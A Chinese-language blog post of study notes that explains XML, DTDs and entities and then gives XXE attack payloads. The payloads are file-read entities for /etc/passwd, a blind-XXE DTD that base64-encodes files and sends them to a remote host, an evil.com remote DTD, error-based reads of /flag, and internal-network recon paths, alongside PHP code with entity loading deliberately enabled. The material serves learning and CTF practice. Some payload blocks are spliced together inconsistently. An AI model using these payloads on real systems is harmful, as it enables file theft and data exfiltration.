XXE

发布时间 2023-08-03 10:44:35作者: Solitude0c

XXE


XML简单介绍

XML全称可扩展标记语言(EXtensible Markup Language)。

XML和HTML的语言风格很像,都是标记语言,有对应的tag,唯一不同的就是作用,XML侧重于数据传输,HTML注重与标记语言

XML的基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>  

上面就是一个标准的XML格式,其实看起来就是HTML没错,代码块里看的可能不清楚:

uTools_1690960628929

在IDEA里缩进就可以看清楚,XML是有父节点和子节点的,和HTML一样

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

在XML中也有几种预定义实体

即用&lt; &gt; &amp; &apos; &quot;替换 < > & ' "

DTD(document type definition)

DTD是XML的一部分,他用来给XML定义一种格式规范,比如自定义一种标签

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

1、内部DTD

假如在XML中定义了DTD,那么就要严格遵循DTD里的规范,毕竟DTD是对XML的一种限制,如下面的例子:

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
        <!ELEMENT note (to,from,head,body)><!--定义note元素有四个元素-->
        <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
        <!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
        <!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
        <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
        ]>
<note>
    <to>Boogipop</to>
    <from>is</from>
    <head>Learning</head>
    <body>XXE</body>
</note>
  • PCDATA
    PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
    被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换。
  • CDATA
    CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

在上述例子中我们只定义了四种标签,因此不能再有其他标签,否则会报错,如果要添加新的标签,首先得在DTD中定义

2、外部DTD

(1)引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的dtd文件(网络上的dtd文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:
<!DOCTYPE root-element SYSTEM "filename">

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
    <to>xxr</to>
    <from>is</from>
    <head>Learning</head>
    <body>XXE</body>
</note>

test.did

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

3、DTD属性

属性声明语法:

<!ATTLIST 元素名称 属性名称 属性累型 默认值>

DTD实例:

<!ATTLIST payment Luckey CDATA "Q">

XML实例:

<payment Luckey="Q" />

以下是 属性类型的选项:

uTools_1690964289953

默认属性值可使用下列值:

uTools_1690964343390

其实跟HTML标签属性原因

4、DTD实体

一般实体和参数实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

实体引用是对实体的引用

实体可在内部或者外部进行声明

可以理解DTD实体就是定义应该变量,给标签内的元素赋值

DTD实体假如按照参数有无,可以分为两种,一般实体、参数实体

一般实体的声明:<!ENTITY 实体名称 "实体内容">

参数实体的声明:<!ENTITY % 实体名称 "实体内容">

一般实体在代码块中引用通过&名称进行引用,而参数实体是通过%名称进行引用的

另外需要注意的是他们引用的位置,一般实体直接在代码块进行引用如:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY writer "Dawn">
]>
<test>&writer;</test>

如上,直接给元素进行赋值

而参数实体是在DTD内部进行引用,如:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY %writer "Dawn">
%writer
]
>
<test>test</test>

内部实体和外部实体

假如按照引用来划分,可以分为内部实体和外部实体,引用方式和引用内部DTD和外部DTD一样

  • 外部实体:

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例如:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;</author>

外部实体的引用是支持协议的,如file协议,http协议,对于PHP的话支持的协议更多,比如filter,data,php等等…..

  • 内部实体
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY writer "Dawn"> #这个就是内部实体,其实和上面的一般实体一样
]>
<test>&writer;</test>

参数实体+外部实体组合拳

参数实体和外部实体可以直接组合在一起使用

<!ENTITY % 实体名称 SYSTEM "URI/URL"> ,如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

XML注入

XML注入和SQL注入有异曲同工之妙,原理就是闭合标签,达到闭合的效果,其实XML注入比较简单

如下XML是用于注册访问用户,其中用户名是由用户自己输入的。

<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">用户输入</user>

攻击者在输入用户的时候,可以构造" user1 < /user> < user role=“admin”>user2"数据去拼接XML,之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户。

<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">user1</user>
<user role="admin">user2</user>

XXE外部实体注入

外部实体注入的利用有很多,下面是大佬的例子(尝试搭建没有成功,还是理解一下吧)

file协议来读:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

XXE内部实体注入

主要方式就是外部实体加参数实体,通过报错带出参数

XML内部实体是实体的内容已经在Doctype中声明。内部实体格式:内部 实体攻击比较常见的是XML Entity Expansion攻击,它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施(禁止DTDs解析可以防护外部实体和内部实体攻击)。

XXE内部实体注入参考文章

Xpath基本语法

先说下Xpath的基本术语:

  • Parent:父节点

  • Child:子节点

  • Sibling:同胞节点

  • Ancestor:先辈节点

  • Descendant:后代节点

非常简单,我们用大佬的图理解一下就行?

1690976498536

Xpath基本语法,同样我们请出大佬

uTools_1690976610573

Xpath的逻辑运算符:

uTools_1690976698858

这里有道例题,大佬不说我都不知道这是XXE,XXE盲注,待我再深入一下再杀回来

[NPUCTF2020]ezlogin

XXE常用payload

引用外部实体

SYSTEM

<!ENTITY xxs SYSTEM "file:///etc/passwd" >

PUBLIC

<!ENTITY % remote PUBLIC "dtd" "http://127.0.0.1/evil.dtd">

常规XXE

通用实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>

参数实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
%dtd;]>
<test>
&all;
</test>

evil.dtd

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;" >

Blind XXE

payload

<!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://127.0.0.1/evil.dtd"> %remote;%int;%send; ]> 

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/?p=%file;'>">

Error-based XXE

引用本地 dtd

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ELEMENT message ANY>
    <!ENTITY % local SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "
            <!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;file;&#x27;>
        ">
        &#x25;eval;
    '>
    %local;
]>
<root>
<message>123</message>
</root>


多层内部实体嵌套绕过, 无需引用 dtd

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ELEMENT message ANY>
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % eval1 '
        <!ENTITY &#x25; eval2 "
            <!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;file;&#x27;>
        ">
        &#x25;eval2;
    '>
    %eval1;
]>
<root>
<message>123</message>
</root>

远程加载

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY % one SYSTEM "http://evil.com/evil.dtd" >
    %one; %two; %four;
]>
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

获取内网网段

/etc/network/interfaces
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

XXE的利用